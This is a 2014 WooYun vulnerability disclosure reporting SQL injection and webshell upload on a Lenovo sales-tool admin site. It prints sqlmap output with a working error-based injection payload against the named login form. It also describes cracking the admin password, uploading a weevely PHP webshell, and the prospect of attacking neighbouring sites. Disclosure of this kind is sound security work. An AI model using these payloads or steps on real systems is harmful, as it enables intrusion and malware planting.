当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-071163

漏洞标题:联想某助销工具后台注入&get shell

相关厂商:联想

漏洞作者: 修码的马修

提交时间:2014-08-05 20:30

修复时间:2014-09-19 20:32

公开时间:2014-09-19 20:32

漏洞类型:成功的入侵事件

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-05: 细节已通知厂商并且等待厂商处理中
2014-08-08: 厂商已经确认,细节仅向厂商公开
2014-08-18: 细节向核心白帽子及相关领域专家公开
2014-08-28: 细节向普通白帽子公开
2014-09-07: 细节向实习白帽子公开
2014-09-19: 细节向公众公开

简要描述:

联想产品多业务广,旗下有很多销售业务相关的管理后台,然而部分这类网站的安全状况堪忧。

详细说明:

网站:http://www.lenovostoreapp.com/
后台登陆处存在post注入:http://www.lenovostoreapp.com/admin/index.php

选区_007.png


抓post包扔进sqlmap:

sqlmap identified the following injection points with a total of 62 HTTP(s) requests:
---
Place: POST
Parameter: user
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: user=A' AND (SELECT 1917 FROM(SELECT COUNT(*),CONCAT(0x3a68726e3a,(SELECT (CASE WHEN (1917=1917) THEN 1 ELSE 0 END)),0x3a7461763a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'bwuX'='bwuX&upass=A&button=++%E7%99%BB%E5%BD%95++
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: user
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: user=A' AND (SELECT 1917 FROM(SELECT COUNT(*),CONCAT(0x3a68726e3a,(SELECT (CASE WHEN (1917=1917) THEN 1 ELSE 0 END)),0x3a7461763a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'bwuX'='bwuX&upass=A&button=++%E7%99%BB%E5%BD%95++


跑出一个叫lenovoStoreApp的数据库,里头有8个表,手到擒来地找到管理密码(出于对该网站的尊重和保护,详细步骤略去)
反查到md5,密码弱到不堪入目,就是不用注入都能轻易跑出来的那种弱密码。
登陆后台,点击添加
编辑器界面有上传的地方,对文件类型毫无防御,轻易上shell

选区_009.png


漏洞证明:

用的是weevely的php马

matthew@matthew-Lenovo-IdeaPad-Y510: ~-Lab-Weevely-master_011.png


查看服务器信息

matthew@matthew-Lenovo-IdeaPad-Y510: ~-Lab-Weevely-master_012.png


另外可以看到同服务器上的其他联想业务网站,数量还不少,搞搞旁注还是可以的。

matthew@matthew-Lenovo-IdeaPad-Y510: ~-Lab-Weevely-master_013.png


友情检测,不深入。如无意外,shell已删除。
PS:出于对厂商的尊重,码打得有点多了,各位看官见谅。

修复方案:

1.post注入,就加上你们业务网站广泛使用的防注入程序就可以了。
2.弱密码,网站的用户数又不多,这个好处理吧。
3.上传文件处一定要检测文件类型
还是那句话,联想业务广,但不能忽略这类后台网站。
危害:
1.该站就有提供产品展示APP的下载,只要把APP换掉,大量种马,后果不堪设想。
2.shel都轻易拿到了,提权旁站一条龙还远吗?

版权声明:转载请注明来源 修码的马修@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-08-08 10:03

厂商回复:

感谢您对联想信息安全工作的支持,我们会尽快修复漏洞

最新状态:

暂无